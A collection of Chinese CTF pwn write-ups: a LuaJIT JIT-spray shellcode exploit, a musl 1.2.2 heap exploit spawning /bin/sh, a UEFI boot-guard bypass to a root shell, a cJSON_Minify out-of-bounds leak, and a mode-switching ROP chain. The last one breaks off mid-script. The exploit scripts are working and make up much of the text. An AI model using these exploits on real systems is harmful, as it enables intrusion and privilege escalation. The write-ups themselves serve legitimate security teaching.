分类 writeups 下的文章

0x00 题目

速览

是一个打LuaJIT的题,远程环境带有一个web前端,主要作用应该就是给定指定的Lua代码,然后后端运行并返回输出结果:

2022-06-15T04:39:14.png

题目给出了个使用样例,其中比较引人关注的就是cargo函数,但是具体机制还得先看后端源码

源码分析

cove.c

这是题目的核心逻辑


main

首先在main函数中创造了一个Lua State的上下文,并使用init_lua初始化上下文,然后调用run_code(L, argv[1]);运行命令行参数中执行的Lua代码,运行结束后使用lua_close(L);关闭Lua State。

int main(int argc, char** argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    lua_State *L;

    if (argc < 2) {
        puts("Missing lua cargo to inspect");
        return -1;
    }

    L = luaL_newstate(); // 创建新的Lua State上下文
    if (!L) {
        puts("Failed to load lua");
        return -1;
    }
    init_lua(L); // 初始化上下文
    run_code(L, argv[1]); // 运行传入的Lua代码

    lua_close(L); // 关闭上下文
}

init_lua

  1. 通过luaopen_jit打开LUA_JITLIBNAME指定的LuaJIT运行库
  2. 调用set_jit_settings完成一些JIT相关的设置
  3. 设置完成后,将jit全局变量赋空值,这样在后续运行的Lua代码中就无法使用jit
  4. 分别将cargoprint两个变量绑定到debug_jitprint两个函数上,这两个函数的实现同样位于cove.c中。也就是说题目样例的cargo()函数最后会被debug_jit()来处理
void init_lua(lua_State* L) {
    // Init JIT lib
    lua_pushcfunction(L, luaopen_jit); // 传入luaopen_jit,即将被调用的函数
    lua_pushstring(L, LUA_JITLIBNAME); // 传入LUA_JITLIBNAME参数给luaopen_jit
    lua_call(L, 1, 0); /* 通过传入LUA_JITLIBNAME给luaopen_jit函数完成jit加载 */
    set_jit_settings(L); // 完成jit设置

    lua_pushnil(L); // 压入空值
    lua_setglobal(L, "jit"); // 将栈顶元素(空值)赋值给name变量
    lua_pop(L, 1); // 弹出

    lua_pushcfunction(L, debug_jit);
    lua_setglobal(L, "cargo"); //  cargo = debug_jit
    lua_pushcfunction(L, print);
    lua_setglobal(L, "print"); // print = print
}

set_jit_settings

这个函数通过luaL_dostring执行了两行Lua语句,主要功能是设置优化级别为O3,并设置hotloop为1。这两个选项对JIT生成native code的逻辑有不小影响:

  • O3会导致有些常量或者重复逻辑被优化掉,难以控制预期的native code
  • hotloop=1则指定当某个分支运行次数大于1次时便为其生成native code,这原本是为了减少对一些冷门分支生成native code所用的开销。可以发现样例代码在调用cargo前还故意调用了两次自定义函数my_ship
void set_jit_settings(lua_State* L) {
    // 3 相当于 O3
    // Number of iterations to detect a hot loop or hot call
    luaL_dostring(L,
        "jit.opt.start('3');"
        "jit.opt.start('hotloop=1');"
    );
}

printdebug_jit这两个函数都是C Closure类型的函数,意味着这个函数可以在Lua层面上被使用。

主要关注这两个函数的参数:lua_State* L,这是使得C函数能在Lua层面被调用的关键。Lua层面传入的参数并不是使用C调用栈的传参约定,而是压入Lua状态机中的一个“虚拟栈”,用户通过lua_gettop(L)等API来获取并转义指定位置参数。

print

该函数把print的首个参数转成字符串后输出

    if (lua_gettop(L) < 1) {
        return luaL_error(L, "expecting at least 1 arguments");
    }
    const char* s = lua_tostring(L, 1);
    puts(s);
    return 0;

debug_jit

这是核心利用点所在的函数,在一开始需要先完成一些检查:

  1. 参数必须为两个
  2. 第一个参数的类型必须是LUA_TFUNCTION
  3. 第一个参数需要通过isluafunc()的检查
  4. 第二个参数会被当成一个uint8的offset

手动解引用取得参数1传入的Lua函数的字节码指针:uint8_t* bytecode = mref(v->l.pc, void),注意这个字节码是Lua虚拟机的字节码,不是native的。

因为Lua对已经JIT的部分是用一条一条Trace来记录的,所以要进一步通过getTrace取得GCtrace类型的tt->szmcode表示JIT部分machine code的大小,t->mcode表示machine code的起始位置。

首先输出一次当前t->mcode指针的值,也就是初始情况下,参数1的函数JIT出的机器码的起始位置。然后判断参数2的offset如果不等于0且小于t->szmcode - 1,则将t->mcode加上offset的大小。这就给了一次在JIT出的machine code范围内任意修改函数起始位置的机会。也就是说,在cargo结束后,如果再调用一次my_ship函数,将从新的起始位置开始运行。

int debug_jit(lua_State* L) {
    if (lua_gettop(L) != 2) { // 检查栈顶,判断是否传入了足够参数
        return luaL_error(L, "expecting exactly 1 arguments");
    }
    luaL_checktype(L, 1, LUA_TFUNCTION); // 判断第一个参数的type是不是一个LUA_TFUNCTION

    const GCfunc* v = lua_topointer(L, 1); // 把传入的函数转成GCfunc类型的C指针
    if (!isluafunc(v)) { // 用isluafunc检查是不是一个lua函数
        return luaL_error(L, "expecting lua function");
    }

    uint8_t offset = lua_tointeger(L, 2); // 把第二个参数转成一个整数的offset
    uint8_t* bytecode = mref(v->l.pc, void); 

    uint8_t op = bytecode[0];
    uint8_t index = bytecode[2];

    GCtrace* t = getTrace(L, index);

    if (!t || !t->mcode || !t->szmcode) {
        return luaL_error(L, "Blimey! There is no cargo in this ship!");
    }

    printf("INSPECTION: This ship's JIT cargo was found to be %p\n", t->mcode); // 输出机器码位置

    if (offset != 0) {
        if (offset >= t->szmcode - 1) {
            return luaL_error(L, "Avast! Offset too large!");
        }

        t->mcode += offset;
        t->szmcode -= offset;

        printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
    }

    return 0;
}

补上一些宏定义和数据结构:

    // #define mref(r, t)    ((t *)(void *)(uintptr_t)(r).ptr32
    /* 
    typedef union GCfunc {
        GCfuncC c;
        GCfuncL l;
    } GCfunc;
    */
    /*
    typedef struct GCfuncL {
        GCfuncHeader;
        GCRef uvptr[1];    // Array of _pointers_ to upvalue objects (GCupval).
    } GCfuncL;
    */
    /* 
    #define GCfuncHeader \
    GCHeader; uint8_t ffid; uint8_t nupvalues; \
    GCRef env; GCRef gclist; MRef pc
    */
    /* 
    // Memory reference
    typedef struct MRef {
    #if LJ_GC64
    uint64_t ptr64;    // True 64 bit pointer.
    #else
    uint32_t ptr32;    // Pseudo 32 bit pointer.
    #endif
    } MRef;

dig_up_the_loot.c

这个程序其实就相当于一个getflag程序,但是需要判断argv参数为指定字符串才能输出FLAG:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char* args[] = { "x", "marks", "the", "spot" };

int main(int argc, char** argv) {
    const size_t num_args = sizeof(args)/sizeof(char*);
    if (argc != num_args + 1) {
        printf("Avast ye missing arguments: ./dig_up_the_loot");
        for (size_t i=0; i<num_args; i++)
            printf(" %s", args[i]);
        puts("");
        exit(0);
    }
    for (size_t i=0; i<num_args; i++) {
        if (strcmp(argv[i+1], args[i])) {
            puts("Blimey! Are missing your map?");
            exit(0);
        }
    }
    puts("Shiver me timbers! Thar be your flag: FLAG PLACEHOLDER");
}

从逻辑来看,需要执行的命令行为./dig_up_the_loot x marks the spot,还是比较长的...

0x01 利用思路

利用思路其实还是比较明确的,虽然一开始走了些弯路想着去构造Type confusion,但是最终还是回到了正轨

由于x86指令存在常数部分,而常数部分通常可控,攻击者可以把恶意shellcode注入到常数部分,然后通过修改起始位置从某条指令的常数部分开始执行,再通过多条shellcode的JOP拼接,达到任意代码执行的目的。

然而这题麻烦就麻烦在:哪些Lua层面的语句可以很方便控制到x86 machine code的常数部分。毕竟从Lua语句到machine code经过了3次转义,没错是三次——Lua语句->Lua虚拟机字节码->中间码->机器码

一般而言肯定最先想到下面几种方法:

  1. 构造变量赋值语句,将整数常量赋值给某个局部变量
  2. 构造运算表达式
  3. 使用常量传参来调用函数
  4. 使用某些含有常量的语句结构

对于方法1,可能因为开了O3优化的原因,常量部分并没有体现在局部JIT出来的machine code中;

对于方法2,这些运算似乎会被预先JIT并封装在某个地方,即使出现了需要的常量也无法通过修改offset跳转过去;

对于方法3,由于Lua对变量会有一层包装,不会使用裸的值,所以在machine code也看不到;

最后就是方法4,确实有一些队友发现了端倪。首先是有队友发现了for循环语句结构可以引入稳定的,但是离散的7个字节的常量,如:81 c5 XX XX XX 00 81 fd XX XX XX XX中的XX

function test()
    for i = 0, 0x7effff00,0xffff00 do
    end
    for i = 1, 0x7effff11,0xffff11 do
    end
end

这看着似乎也够用了,但是尝试修改offset跳转才发现,for循环由于某些原因,所产生的machine code距离起始位置比较远,offset跳不过去——我猜测是因为被放在了另外一条Trace中,但是管不了这么多了。接下来有队友发现了,table的常量下标寻址会产生可控的常量,但是只有4字节可控?这是个好方向,但是为啥只有4字节可控呢。于是我试了下直接写8个字节的整数,似乎就无法在machine code中找到了。

然后我突发奇想,一连写了很多条对table的8字节整数下标赋值的语句,再观察machine code,发现居然有很多重复的结构!并且这部分结构都通过movabs操作了一个很大的8字节常量,但是常量的值并不是下标的值。会不会是编码了?联想到Lua中存在浮点数类型,于是猜测,这会不会是IEEE的浮点数编码?使用python的struct包unpack了一下,果然,正是浮点数编码!

于是我通过struct.unpack("<d", b"\x90\x90\x90\x90\x90\x90\xeb\x5e")直接去构造double类型浮点数,然后使用浮点数常量作为下标寻址(Lua的寻址不是偏移寻址,所以是可以用浮点数的),发现如预期的出现了多条8字节的可控movabs,通过调整偏移,并在每8字节shellcode的后两个字节拼接上相对jmp指令就得到了如下JOP shellcode形式:

2022-06-15T06:57:37.png

0x02 Exploit编写

那么问题来了,获得任意shellcode执行之后怎么拿flag呢?上面分析过了,预期的拿flag方式是执行./dig_up_the_loot x marks the spot命令。一开始我想的是使用execve("./dig_up_the_loot", ["x", "marks", "the", "spot"], NULL)来调用,这需要慢慢构造字符串数组指针。然而写了几行才发现,题目限制了Lua文件的大小,如果构造execve显然是不够用的。

由于在执行shellcode的时候,寄存器和栈上留下很多运行时地址信息,也许会有一些可以使用的gadget。比如可以试试看能不能找出libc的地址,然后调system,于是开始慢慢尝试。

才刚写到一半已经有队友通过修改我贴文档里的PoC打通了,非常神速。我大致看了一下他的EXP,思路还是比较巧妙地,虽然不是100%能打通。于是我按照他地思路完善了下我的exp。

首先从R14寄存器指向的内存区域找到libluajit.so的地址,因为libluajit.so的PLT表中有system函数这一项,并且相比于libc地址更容易获得。然后就是在libluajit.so地址空间附近,可以搜索到传入的Lua代码的字符串(被读入到内存中了)。这意味着可以在EXP的注释部分写上./dig_up_the_loot x marks the spot字符串,然后作为参数传给libluajit.so中的system。

于是整个利用思路就完成了:

  1. 搜索到libluajit.so的地址,计算system的plt
  2. libluajit.so的地址为base,搜索到./dig_up_the_loot x marks the spot字符串的地址
  3. 调用system("./dig_up_the_loot x marks the spot")从标准输出读flag

EXP:

-- ./dig_up_the_loot x marks the spot
a = {}
b = {}
c = {}
d = {}
e = {}
f = {}
g = {}
function m() 
    a[2.689065016493852e+144] = nil 
    b[1.7262021171178437e+149] = nil 
    c[2.6890656183788917e+144] = nil 
    d[2.6339756112512905e+144] = nil 
    e[2.689065020865355e+144] = nil 
    f[2.6339753393476617e+144] = nil 
    g[1.7623056512639384e+149] = nil 
end
m()
m()
cargo(m, 0x69)
m()

运行效果:

2022-06-15T07:33:25.png


我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2axteyuyj1nok

前言

不算很复杂的musl堆题,但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器,musl 1.2.2则采用了:malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构,并且free掉的chunk有bitmap直接管理(而不是放入某些链表中)。但是meta依然存在无检查的unlink操作,所以大部分攻击的思路仍然是构造出fake meta,然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了:

  • 可以尝试写rop到栈上
  • 可以尝试伪造 fake stdout 并将指针写到 stdout_usedfake stdout 的头部可以写为"/bin/sh\x00"write指针写为 system 指针,这样当 exit() 时就会触发system("/bin/sh")调用
  • 可以参考别的博主写 _aexit() 中相关函数指针的方法

思路:

  • 堆风水+UAF把一个note构造到另一个note的note->content域下,find功能泄露出elf_base和初始堆地址(musl的初始堆地址在二进制文件的地址空间中)
  • 再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note,构造指针进行任意地址泄露,重复该步骤两次分别泄露libc地址和__malloc+context中的secret(用于后序步骤伪造)
  • 同样借助UAF构造一个fake note,并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE,fake note的next指向fake_chunk然后构造fake_metaprevnext使得freefake_note->next之后的unlinkfake IO_FILE的地址写入到stdout_user

    • 由于__IO_FILE中存在如下指针:size_t (*write)(FILE *, const unsigned char *, size_t);,只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell
    • 详细的实现细节可以参考[2]中的描述

Notice:

  1. 为了保证和远程环境最大程度相似,建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so,如果怕覆盖掉本地的musl可以先mv备份
  2. 开启和关闭ASLR会导致某个常量发生变化,调试的时候记得手动修改一下(见注释)
  3. 为了方便调试,可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/mallocdir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号(在free的时候带源码调试可以很方便检查程序流卡在哪个assert)

EXP:

from pwn import *

context.log_level = "debug"
# 调试本地环境记得一定要拷贝到这个路径,用ld的启动方式vmmap会很tm怪!
# cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
p = process("./babynote")
p = remote("123.60.76.240", 60001)

def add(name, content, size=-1):
    p.sendlineafter(b"option: ", b"1")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    p.sendlineafter(b"note size: ", str(len(content)).encode())
    p.sendafter(b"note content: ", content)
    
def find(name, size=-1):
    p.sendlineafter(b"option: ", b"2")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def delete(name):
    p.sendlineafter(b"option: ", b"3")
    p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def forget():
    p.sendlineafter(b"option: ", b"4")
    
def exit():
    p.sendlineafter(b"option: ", b"5")

def exp():
    ## ------------ leak addr info ------------
    for i in range(3):
        add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C
    for i in range(3):
        find(b"x"*0x28)
    forget()
    add(b"E"*0xc, b"e"*0x28) # E uaf
    # -- new group
    add(b"F"*0xc, b"f"*0x28) # F hold E
    delete(b"E"*0xc)
    add(b"eqqie", b"x"*0x38) # occupy
    
    find(b"E"*0xc)
    
    p.recvuntil(b"0x28:")
    leak_heap = 0
    leak_elf = 0
    for i in range(8):
        leak_heap += int(p.recv(2).decode(), 16) << (i*8)
    for i in range(8):
        leak_elf += int(p.recv(2).decode(), 16) << (i*8)
    elf_base = leak_elf - 0x4fc0
    heap_base = elf_base
    print("leak_heap:", hex(leak_heap))
    print("leak_elf:", hex(leak_elf))
    print("heap_base:", hex(heap_base))
    print("elf_base:", hex(elf_base))
    
    ## ------------ leak libc addr ------------
    read_got = elf_base+0x3fa8
    add(b"Y"*0xc, b"y"*0xc) # occupy
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    read_got = b""
    for i in range(8):
        read_got += p8(int(p.recv(2).decode(), 16))
    read_got = u64(read_got)
    print("read_got:", hex(read_got))
    libc_base = read_got - 0x74f10
    stdout_used = libc_base + 0xb43b0
    print("libc_base:", hex(libc_base))
    print("stdout_used:", hex(stdout_used))

    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ leak heap secret ------------
    new_heap = libc_base - 0xb5000
    print("new_heap:", hex(new_heap))
    heap_secret_ptr = libc_base + 0xb4ac0
    
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    heap_secret = b""
    for i in range(8):
        heap_secret += p8(int(p.recv(2).decode(), 16))
    print("heap_secret:", heap_secret)
    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ build fake_meta, fake_chunk ------------
    # 关ASLR打本地的时候记得改掉这个偏移
    new_heap2 = libc_base - 0x7000  # aslr_on&remote: 0x7000  aslr_off: 0xd000
    print("new_heap2:", hex(new_heap2))
    add(b"A"*0x4, b"a"*0x4) # A
    ### pointers
    system = libc_base + 0x50a90
    execve = libc_base + 0x4f9c0
    fake_area_addr = new_heap2 + 0x1000
    fake_meta_ptr = fake_area_addr + 0x20
    fake_group_ptr = fake_meta_ptr + 0x30
    fake_iofile_ptr = fake_group_ptr + 0x10
    fake_chunk_ptr = fake_iofile_ptr - 0x8
    print("system:", hex(system))
    print("fake_meta_ptr:", hex(fake_meta_ptr))
    print("fake_group_ptr:", hex(fake_group_ptr))
    print("fake_iofile_ptr:", hex(fake_iofile_ptr))
    ### fake arena
    fake_area = heap_secret + b"M" * 0x18
    ### fake group
    fake_group = p64(fake_meta_ptr)    
    ### fake iofile
    fake_iofile = p64(0) # chunk prefix: index 0, offset 0
    fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
    fake_iofile = fake_iofile.ljust(0x500, b"\x00")
    ### fake meta
    fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next
    fake_meta += p64(fake_group_ptr)
    fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
    fake_meta = fake_meta.ljust(0x30)
    ### final payload
    payload = b"z"*(0x1000-0x20)
    payload += fake_area + fake_meta + fake_group + fake_iofile
    payload = payload.ljust(0x2000, b"z")
    add(b"B"*0x4, payload) # check this
    
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    ## ------------  build fake_note ------------
    fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!)
    fake_note += p64(4) + p64(4) # name_size, content_size
    fake_note += p64(0) # next->null
    add(b"C"*0x4, fake_note) # C occupy last chunk
    add(b"D"*0x4, b"d"*4) # D
    #gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free")
    #pause()
    
    delete(b"d"*0x4)
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()

参考资料:

[1] https://www.anquanke.com/post/id/253566

[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl

[3] https://www.anquanke.com/post/id/241101#h2-5

[4] https://www.anquanke.com/post/id/241104

musl 1.2.2 版本的内存管理机制发生了特别大的变化,但是本题用到的所有知识网上都有公开可查的资料了

RANK

这是我第二次给D3出题,非常遗憾这题最终没有解,也许是出题上还有可以改进的空间,欢迎对UEFI PWN方面感兴趣的师傅私信交流!

Analysis

观察启动脚本的参数可以发现,QEMU在启动时向pflash(可以看成是bios)写入了一个叫做OVMF.fd的固件,并且将./content目录挂载为了一个fat格式的驱动器。熟悉UEFI开发的选手应该很快可以想到这是一个UEFI PWN,即通过UEFI环境下的漏洞利用完成提权

题目源文件的所有改动基于edk2项目:https://github.com/tianocore/edk2

运行启动脚本且不做任何操作将会直接进入操作系统,并切换到低权限用户。该用户没有根目录下flag文件的读权限。结合题目描述中的cat /flag可以得知需要进行某种方式的提权以读取flag内容

/ $ ls -al /flag
-r--------    1 0        0               25 Feb 17 17:33 /flag
/ $ id
uid=1000 gid=1000 groups=1000

正常情况下,edk2会提供UI和EFI SHELL两种交互方式让用户运行EFI程序或者进行Boot参数的相关设置。检查boot.nsh可以发现默认情况下内核的启动参数为:bzImage console=ttyS0 initrd=rootfs.img rdinit=/init quiet,也就是说,如果我们能够进入UI或者EFI SHELL交互界面,然后修改Boot参数为bzImage console=ttyS0 initrd=rootfs.img rdinit=/bin/ash quiet就可以以root shell的方式进入操作系统,读取flag文件。

但是留意启动过程的输出会发现,进入EFI SHELL前的倒计时直接被掠过了(因为我把入口逻辑patch掉了)。于是只能尝试去进入UI交互界面。edk2进入UI交互界面的快捷键为F2(或F12),在启动时长按该按键即可进入UI交互程序。然而在本题中,并不会直接进入Ui交互界面,而是先进入了d3guard子程序,如下:

BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)

Reverse

现在首要任务就是对UiApp进行逆向分析寻找能够进入正常Ui交互的方式。借助一些工具可以轻松地将UiApp模块镜像提取出来,这里使用的是:https://github.com/yeggor/uefi_retool

通过逆向可以发现两个主要的漏洞,一个是尝试用Administrator身份登录时,存在一个格式化字符串漏洞,该漏洞可以泄露栈上的地址信息,包括镜像地址和栈地址:

一些队伍由于没注意到关于这个漏洞的hint导致差一点没拿到flag,深感可惜😭!!!

还有一个漏洞是在编辑用户描述信息的时候存在堆溢出(这一点大部分队伍都发现了):

除了对于UiApp镜像的逆向分析,还需要阅读edk2中AllocatePool的具体实现方式,这关系到漏洞利用的一些细节,这部分暂时省略

相关代码位于:https://github.com/tianocore/edk2/blob/master/MdeModulePkg/Core/Dxe/Mem/Pool.c

Exploit

通过动态调试发现,1. New Visitor之后,visitor->namevisitor->desc位于相邻的内存区间上,将两者调换位置让visitor->desc位于低地址处,即可通过堆溢出漏洞覆盖visitor->descPOOL_TAILvisitor->namePOOL_HEAD

主要关注POOL_HEAD结构体
typedef struct {
  UINT32             Signature;
  UINT32             Reserved;
  EFI_MEMORY_TYPE    Type;
  UINTN              Size;
  CHAR8              Data[1];
} POOL_HEAD;

结合对AllocatePool相关源代码的阅读,发现当调用FreePool函数时,edk2会根据POOL_HEAD->EFI_MEMORY_TYPE的不同而将堆块放入不同的链表中,而分配visitor->namevisitor->desc时,AllocatePool参数所用的EFI_MEMORY_TYPEEfiReservedMemoryType(即常数0)。如果通过溢出修改visitor->namePOOL_HEAD->EFI_MEMORY_TYPE为别的值,即可将其放入其它链表中,再次申请也不会被取出。

最后在4. Confirm && Enter OS中还会分配一次堆内存,用于拷贝visitor->namevisitor->desc并保存。这时候AllocatePool()所申请的EFI_MEMORY_TYPEEfiACPIMemoryNVS(即常数10)。

结合上面的分析,将visitor->namePOOL_HEAD->EFI_MEMORY_TYPE设置为10,并将其Free。此时原先分配给visitor->name的堆块进入了空闲链表(这是个双链表),通过劫持双链表的FD和BK指针可以向任意地址写一个自定义的值。结合最开始泄露出的栈地址,我们可以将d3guard函数的返回地址覆盖掉以劫持程序流。

实际上最后一步的解法是开放性的,只要达到劫持控制流的目的就行

由于d3guard()的上层函数_ModuleEntryPoint+718的位置会判断d3guard()的返回值以决定是否进入UI交互界面,所以最直接的做法是覆盖d3guard返回地址跳过if分支直接进入UI交互界面。但是实际编写脚本时发现泄露出的程序地址与跳转的目标地址偏移不是很稳定(但是概率很大),于是覆盖d3guard返回地址为一个栈上shellcode的地址(栈上没开NX防护),shellcode可以在输入Admin pass key时提前部署。借助shellcode以及寄存器中的镜像地址,可以计算出稳定的跳转目标地址。

成功进入Ui交互界面后,只需要通过操作菜单添加一个新的启动项,并将参数rdinit设置为/bin/sh然后通过其进入操作系统,即可获得root权限。

开始没想到加启动项这个步骤也能成为一个坑点(据0ops老哥说在这耽误了不少时间)...其实可以编译一份原版OVMF.fd,进入Boot Maintenance Manager,进入 Boot Options,选择Add Boot Option,选择内核镜像bzImage,设置启动项名称rootshell,设置内核启动的附加参数console=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet,最后返回主页面选择启动项菜单,找到rootshell这一项

题目附件和利用脚本:https://github.com/yikesoftware/d3ctf-2022-pwn-d3guard

dataleak

cJSON库里cJSON_Minify函数有个漏洞

void cJSON_Minify(char *json)
{
    char *into=json;
    while (*json)
    {
        if (*json==' ') json++;
        else if (*json=='\t') json++;    /* Whitespace characters. */
        else if (*json=='\r') json++;
        else if (*json=='\n') json++;
        else if (*json=='/' && json[1]=='/')  while (*json && *json!='\n') json++;    
        else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;}    /* multiline comments. */
        else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;} 
        else *into++=*json++;            /* All other characters. */
    }
    *into=0;    /* and null-terminate. */
}

多行注释的处理没考虑注释不闭合,可能造成越界读写

相关issue

exp:

from pwn import*

p=remote('124.70.202.226',2101)
#p=process('./cJSON_PWN')
context.log_level='debug'

p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('/*'.rjust(0xe,'a')) #'this_is_dat'
a=p.recv(0xb)
print(a)

#gdb.attach(p)
p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('a/*'.ljust(0xe,'a')) #'a_in_server'
b=p.recv(0xb)
print(a+b)

p.interactive()

把栈上存的要你读的数据leak出来,在交互里换flag

Gadget

用纯gadget切换到32位模式绕过沙箱限制打开文件,然后切回64位模式用alarm侧信道爆破flag字符

由于一次可输入的长度不够,这里分成了三段ROP,每段之前先迁移一下栈

exp:

from pwn import *
import time
import sys
import threading

context.arch = "amd64"
#context.log_level = "debug"

flag = {}
lock = threading.Lock()

# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200

# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb

alarm_gadget = 0x40115D
'''
.text:000000000040115D                 mov     eax, 25h
.text:0000000000401162                 mov     edi, [rbp-8]    ; seconds
.text:0000000000401165                 syscall                 ; LINUX - sys_alarm
.text:0000000000401167                 pop     rbp
.text:0000000000401168                 retn
'''

def exp(curr_ch):
    # 121.37.135.138 2102
    #p = process("./gadget")
    p = remote("121.37.135.138", 2102)
    
    #gdb.attach(p, "b *0x40119a\nc\n")
    offset = 0x38
    move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget)
    #move_stack_payload += p64(leave_ret) # start part1
    move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
    p.send(move_stack_payload)
    
    # part 1
    time.sleep(1)
    bss_payload = b"./flag\x00\x00" # new rbp 
    bss_payload += p64(0)*2
    bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86
    
    bss_payload += p32(pop_rax_ret) + p32(5) # control eax to SYS_open
    bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
    bss_payload += p32(pop_rcx_ret) + p32(0)
    bss_payload += p32(int_0x80_ret) # do SYS_open
    
    bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64

    bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
    bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2)  # start part2
    
    #print("len(bss_payload):", hex(len(bss_payload)))  
    p.send(bss_payload)
    
    # part2
    time.sleep(1)
    bss_payload2 = p64(0xdeadbeef) # new rbp
    bss_payload2 += p64(0)*2
    bss_payload2 += p64(pop_rax_ret) + p64(0)  # control rax to SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef) # fd

    bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
    bss_payload2 += p64(syscall_ret) # do SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
    
    bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
    bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3)  # start part3
    
    #print("len(bss_payload2):", hex(len(bss_payload2)))  
    p.send(bss_payload2)
    
    # rewrite
    time.sleep(1)
    p.send(b"\x00"*0x7)
    #p.send(p64(7))
    
    # part3
    time.sleep(1)
    bss_payload3 = p64(0xdeadbeef) # new rbp
    bss_payload3 += p64(0)*2
    bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
    bss_payload3 += p64(alarm_gadget) # alarm gadget
    bss_payload3 += p64(0xdeadbeef) # padding
    
    bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
    bss_payload3 += p64(push_rsi_ret) # blocking

    #print("len(bss_payload3):", hex(len(bss_payload3)))  
    p.send(bss_payload3)
    
    start = time.time()
